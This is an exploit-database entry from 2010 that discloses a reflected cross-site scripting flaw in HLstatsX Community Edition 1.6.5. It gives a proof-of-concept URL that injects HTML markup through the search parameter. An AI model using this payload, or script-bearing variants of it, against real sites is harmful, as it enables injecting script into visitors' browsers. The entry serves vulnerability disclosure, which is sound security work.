HLstatsX Community Edition 1.6.5 - Cross-Site Scripting

Author: Sora
type: webapps
platform: php
port: 
date_added: 2010-01-01 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: HLstatsX Community Edition 1.6.5 Cross Site Scripting Vulnerability
# Date: January 1st, 2010
# Author: Sora
# Version: 1.6.5 and lower versions
# Tested on: Windows Vista

-------------------------------------------
> HLstatsX CE 1.6.5 XSS Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/

# DESCRIPTION:
HLstatsX Community Edition suffers from a XSS vulnerability.

# PoC:
http://www.example.com/hlstatsx/hlstats.php?mode=search&q=%3CH1%3EHacked by Sora%3C%2FH1%3E&st=player&game=l4d

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!